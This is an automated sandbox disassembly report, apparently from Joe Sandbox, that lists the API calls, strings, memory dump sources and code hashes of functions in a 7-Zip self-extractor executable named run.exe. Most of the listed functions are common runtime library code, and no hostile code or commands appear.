CreateEventW.KERNEL32 ref: 00007FF75FBA2B10

Strings

Thread pool initialization failed., xrefs: 00007FF75FBA2B2C

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 9467bf698a5016be8981c373cf63f07ed8df11c917c4e7cfbd939ec3733cb218
Instruction ID: 96320843e867a33d2f94cca6a7b615e14dc39e4620df72b4f35a4bceb9d7d83d
Opcode Fuzzy Hash: 9467bf698a5016be8981c373cf63f07ed8df11c917c4e7cfbd939ec3733cb218
Instruction Fuzzy Hash: CE21D532A15682C6FB11AF34D4543FA72E2EB88B08F9CC035CA4D4B285DF7E9445C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB2124 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32 ref: 00007FF75FBB2140
SetEnvironmentVariableW.KERNEL32 ref: 00007FF75FBB2180

Strings

sfxcmd, xrefs: 00007FF75FBB2139
sfxpar, xrefs: 00007FF75FBB2179

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: EnvironmentVariable
String ID: sfxcmd$sfxpar
API String ID: 1431749950-3493335439
Opcode ID: bf6240e6559597ef1e3307bacd14adb4926a86e6e50a8378cbca2566d8a75db0
Instruction ID: 18cc8582d13454c2bd58fd90d955ac5ac2e5a54a5ee7446774f7d53b3ac2296f
Opcode Fuzzy Hash: bf6240e6559597ef1e3307bacd14adb4926a86e6e50a8378cbca2566d8a75db0
Instruction Fuzzy Hash: BDF03650F0A593C2EE527B31DC583FA9251AF54B81FCC0035D98D4A391EE2CD945C630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAE2E8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF75FBAE2F4
GetDeviceCaps.GDI32 ref: 00007FF75FBAE305
ReleaseDC.USER32 ref: 00007FF75FBAE312

Strings

, xrefs: 00007FF75FBAE318

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CapsDeviceRelease
String ID:
API String ID: 127614599-3916222277
Opcode ID: 4b8fae0df9eb35910b15eab22c1e8c1b692cd2926488e9f1acc43bb90b05e17d
Instruction ID: dedad8b576332a3193cb532cde73fabf1f970d75cda1f602ef25d7f0e0128071
Opcode Fuzzy Hash: 4b8fae0df9eb35910b15eab22c1e8c1b692cd2926488e9f1acc43bb90b05e17d
Instruction Fuzzy Hash: 2DE0C220B0868282EB0867B6F58903EE261AB4CBD0F598039DA0E43744CD3DC4C64300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9B504 Relevance: 6.1, APIs: 4, Instructions: 121filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,?,?,?,?,?,?,00007FF75FB98D5A,-00000044,00007FF75FB99A4F,?,?,?,?,00000000,00000000), ref: 00007FF75FB9B5AD
CreateFileW.KERNEL32(?,?,?,?,?,?,?,00007FF75FB98D5A,-00000044,00007FF75FB99A4F,?,?,?,?,00000000,00000000), ref: 00007FF75FB9B602
SetFileTime.KERNEL32(?,?,?,?,?,?,?,00007FF75FB98D5A,-00000044,00007FF75FB99A4F,?,?,?,?,00000000,00000000), ref: 00007FF75FB9B691
CloseHandle.KERNEL32(?,?,?,?,?,?,?,00007FF75FB98D5A,-00000044,00007FF75FB99A4F,?,?,?,?,00000000,00000000), ref: 00007FF75FB9B69F

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: efb8b38ed1fe1b5a5afe749e9127ea4cf0f45449dda3845108041256562c5dfe
Instruction ID: 8a259b730958c389337c3440169902b3709f767699c3d96c08cfdfd6c405912f
Opcode Fuzzy Hash: efb8b38ed1fe1b5a5afe749e9127ea4cf0f45449dda3845108041256562c5dfe
Instruction Fuzzy Hash: 9E41F622A0D6C281E760AA31A6503FBE2A0BF857E4F988231ED9C067D6DE7CD5488710

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBE0AC Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBBE0FF
WideCharToMultiByte.KERNEL32 ref: 00007FF75FBBE1D1
GetLastError.KERNEL32 ref: 00007FF75FBBE1F4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBBE226

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: _invalid_parameter_noinfo$ByteCharErrorLastMultiWide
String ID:
API String ID: 4141327611-0
Opcode ID: dfc190c3250fbabd448dc32bc4e835edfed1d8db7e762c357c7a8baf22f899c1
Instruction ID: 770b502513058eb87d3a4b1159206b3d5d0b2ae273040c1109e7ee77e209fae2
Opcode Fuzzy Hash: dfc190c3250fbabd448dc32bc4e835edfed1d8db7e762c357c7a8baf22f899c1
Instruction Fuzzy Hash: 25414131A086C2C7FB65AE70D4403F9E691AF84B90FAC8130EA5D46AE9DF2DDD418725

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBC1748 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF75FBBCDA7), ref: 00007FF75FBC1761
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF75FBBCDA7), ref: 00007FF75FBC17C3
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF75FBBCDA7), ref: 00007FF75FBC17FD
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF75FBBCDA7), ref: 00007FF75FBC1827

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 0113d89e325566aa04d235509747aed1e80d5133048b2332893ed2dad67738d1
Instruction ID: b42994cf79930abafe094869be509c4b203e5876b9ff5d35f98ee18a205896e3
Opcode Fuzzy Hash: 0113d89e325566aa04d235509747aed1e80d5133048b2332893ed2dad67738d1
Instruction Fuzzy Hash: 3E216121E18BD2C2E624AF22A40006AF6A5BB58BD0B9C8135DE9E77B94DF3CE4518714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBE5C0 Relevance: 6.0, APIs: 4, Instructions: 43COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF75FBB8850,?,?,00000050,00007FF75FBBA65D), ref: 00007FF75FBBE5CA
SetLastError.KERNEL32(?,?,?,00007FF75FBB8850,?,?,00000050,00007FF75FBBA65D), ref: 00007FF75FBBE632
SetLastError.KERNEL32(?,?,?,00007FF75FBB8850,?,?,00000050,00007FF75FBBA65D), ref: 00007FF75FBBE648
abort.LIBCMT ref: 00007FF75FBBE64E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ErrorLast$abort
String ID:
API String ID: 1447195878-0
Opcode ID: fc361668dc00292c4d89f0512581aa4fe2d187d76f943a463509bf139270ae6a
Instruction ID: 9324d2048941b96c391d2b06a12deb1cf9d4bc302ec66f420e2df9fa5b672de5
Opcode Fuzzy Hash: fc361668dc00292c4d89f0512581aa4fe2d187d76f943a463509bf139270ae6a
Instruction Fuzzy Hash: 62015720F0D683C3EA587B7199A91BAE1516F48784F8C0138D90E467E6EE3DF8414634

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBA2B74 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF75FBA2F08: ResetEvent.KERNEL32 ref: 00007FF75FBA2F21
Part of subcall function 00007FF75FBA2F08: ReleaseSemaphore.KERNEL32 ref: 00007FF75FBA2F37

ReleaseSemaphore.KERNEL32 ref: 00007FF75FBA2BA0
CloseHandle.KERNEL32 ref: 00007FF75FBA2BBF
DeleteCriticalSection.KERNEL32 ref: 00007FF75FBA2BD6
CloseHandle.KERNEL32 ref: 00007FF75FBA2BE3

Part of subcall function 00007FF75FBA2C88: WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,00007FF75FBA2B8B,?,?,?,00007FF75FB9BDA6,?,?,?), ref: 00007FF75FBA2C8F
Part of subcall function 00007FF75FBA2C88: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00007FF75FBA2B8B,?,?,?,00007FF75FB9BDA6,?,?,?), ref: 00007FF75FBA2C9A

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 7e5acb6efb17c55637e1a02433679e597c2369eb0fc72b254ce30994d3159d84
Instruction ID: f06dce186ceb76e1db44c34f05f2d4e3e38d2b304b00ec88678248b40e8df365
Opcode Fuzzy Hash: 7e5acb6efb17c55637e1a02433679e597c2369eb0fc72b254ce30994d3159d84
Instruction Fuzzy Hash: 91014036A25ED2E3E649AF31D9542AEA370FB88B80F844031DB9D03651CF39E4B1C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBAE298 Relevance: 6.0, APIs: 4, Instructions: 21COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF75FBAE2A0
GetDeviceCaps.GDI32 ref: 00007FF75FBAE2B6
GetDeviceCaps.GDI32 ref: 00007FF75FBAE2CA
ReleaseDC.USER32 ref: 00007FF75FBAE2DB

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 365822f344308b0e1bed2dbe9a2ca4eca0d4d93b05c40d9d1d5711565badd9f6
Instruction ID: 1dd1a066a245cb59ff7ea3b3e05684be7c01ee945abec5d8054713b49c373270
Opcode Fuzzy Hash: 365822f344308b0e1bed2dbe9a2ca4eca0d4d93b05c40d9d1d5711565badd9f6
Instruction Fuzzy Hash: 2AE012A0E0978682FF087BB1B81A179D195AF49745F8C403DC90E46350DE3DA0468724

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBEC64 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBBECA7

Strings

e+000, xrefs: 00007FF75FBBED4F
gfff, xrefs: 00007FF75FBBEDD2

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: e+000$gfff
API String ID: 3215553584-3030954782
Opcode ID: 10ccbbf0299460f6903a500f40f356ff2800e2b75a3197a1f4f5dede92a68199
Instruction ID: fe58c4e0ba4126e23b69363b43aafd37d9ecca5de3e70bf00c221d9d3f8e73a5
Opcode Fuzzy Hash: 10ccbbf0299460f6903a500f40f356ff2800e2b75a3197a1f4f5dede92a68199
Instruction Fuzzy Hash: 94514B62B187C2C7E7259F3598413A9AB91EB41B90F8C9231C79C47BD6CF6DE840C714

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9CBCC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

GetCurrentDirectoryW.KERNEL32(?,00007FF75FB9B384,?,?,?,?,?,?,?,00007FF75FB9A5D6), ref: 00007FF75FB9CCBA

Strings

UNC, xrefs: 00007FF75FB9CC9B
\\?\, xrefs: 00007FF75FB9CC40, 00007FF75FB9CC89, 00007FF75FB9CD01, 00007FF75FB9CD51

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: CurrentDirectory
String ID: UNC$\\?\
API String ID: 1611563598-253988292
Opcode ID: 6ce2730799c8cf6edd3cf1896ea7d56aef548004643df73b383de5e272085a31
Instruction ID: 65f826bddcfa344131af7e756a92c8db06a73c5196c70e4c16838d933ef6a864
Opcode Fuzzy Hash: 6ce2730799c8cf6edd3cf1896ea7d56aef548004643df73b383de5e272085a31
Instruction Fuzzy Hash: E14182A1F086C3D1EA20BB31D6411FAABA1AF45BC0BC99031DA5D07B9ADF7CE545C361

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBCC0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF75FBBCC36
GetModuleFileNameA.KERNEL32(?,?,?,?,?,00007FF75FBB3D75), ref: 00007FF75FBBCC57

Strings

C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe, xrefs: 00007FF75FBBCC45

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FileModuleName_invalid_parameter_noinfo
String ID: C:\Users\user\AppData\Local\Temp\7zS49DD90FA\run.exe
API String ID: 3307058713-591759711
Opcode ID: aca7c5fa5063eade2b3bebe52993f8116910a6355c909001085006c57a59a518
Instruction ID: b66bd529413ebcfe3ad299508871d7eee3ac7a0a6740787807724db2d8993a88
Opcode Fuzzy Hash: aca7c5fa5063eade2b3bebe52993f8116910a6355c909001085006c57a59a518
Instruction Fuzzy Hash: DB417EB6A08A92C6E715FF3594400FDE794EB45B94B984031E94D47B89DE3CE8818364

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBBF708 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF75FBBF77A
GetFileType.KERNEL32 ref: 00007FF75FBBF790

Strings

@, xrefs: 00007FF75FBBF7BB

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: 112a506a82efb5da906e7b20e69aa1c8f65fbbe054c80e7da412f3230a8ebdf0
Instruction ID: fc975dbf740749bf24413bb8810ccd092b6603af2c2cfa561c36a00ce9785ad4
Opcode Fuzzy Hash: 112a506a82efb5da906e7b20e69aa1c8f65fbbe054c80e7da412f3230a8ebdf0
Instruction Fuzzy Hash: F121D76AA18BC2C2EB609B76D4901B9A650EB45774FAC1375D66E077D4CE38DC81C324

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FB9EDC0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

_snwprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF75FB9EE3E

Part of subcall function 00007FF75FBA3B98: WideCharToMultiByte.KERNEL32 ref: 00007FF75FBA3BC9

Strings

$%s, xrefs: 00007FF75FB9EE27
@%s, xrefs: 00007FF75FB9EE1E

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FBFE000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797477215.00007FF75FC18000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff75fb90000_run.jbxd

Similarity

API ID: ByteCharMultiWide_snwprintf
String ID: $%s$@%s
API String ID: 2650857296-834177443
Opcode ID: 56e57cf1c09785867a53bbaefc766c6cc58eeb29897c9ff07dd84e4525d1ecf1
Instruction ID: 4b935fe5b8070f067752d59386c007a8afebbcc18a0e9b9e14f04f79ee1301f9
Opcode Fuzzy Hash: 56e57cf1c09785867a53bbaefc766c6cc58eeb29897c9ff07dd84e4525d1ecf1
Instruction Fuzzy Hash: 5A21A271A18BC2D1EBA0EB21E1403EAA364FB84B80FD84036DA4C03B54CF7ED945C760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF75FBB58D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF75FBB5918
RaiseException.KERNEL32 ref: 00007FF75FBB595E

Strings

csm, xrefs: 00007FF75FBB594B

Memory Dump Source

Source File: 00000002.00000002.1797393898.00007FF75FB91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF75FB90000, based on PE: true

Associated: 00000002.00000002.1797381061.00007FF75FB90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797417070.00007FF75FBC8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBD8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBDF000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1797433376.00007FF75FBFC000.00000004.00000001.01000000.00000006.sdmpDownload File
